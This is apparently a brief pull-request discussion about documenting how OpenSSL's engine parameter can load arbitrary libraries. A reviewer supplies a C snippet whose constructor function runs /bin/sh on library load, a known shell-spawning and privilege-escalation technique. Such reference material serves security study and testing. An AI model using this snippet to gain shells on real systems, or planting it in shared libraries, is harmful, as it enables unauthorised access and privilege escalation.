Add library load section to OpenSSL

[dozernz]

Details on how to load arbitrary libraries through the OpenSSL engine parameter

[cyrus-and]

There's no need of such complicated code, standard code with a __attribute__((constructor)) function is enough, so there's no need to include it.

#include <unistd.h>

__attribute__((constructor))
static void init() {
    execl("/bin/sh", "sh", NULL);
}

[dozernz]

I see, thanks for improving it.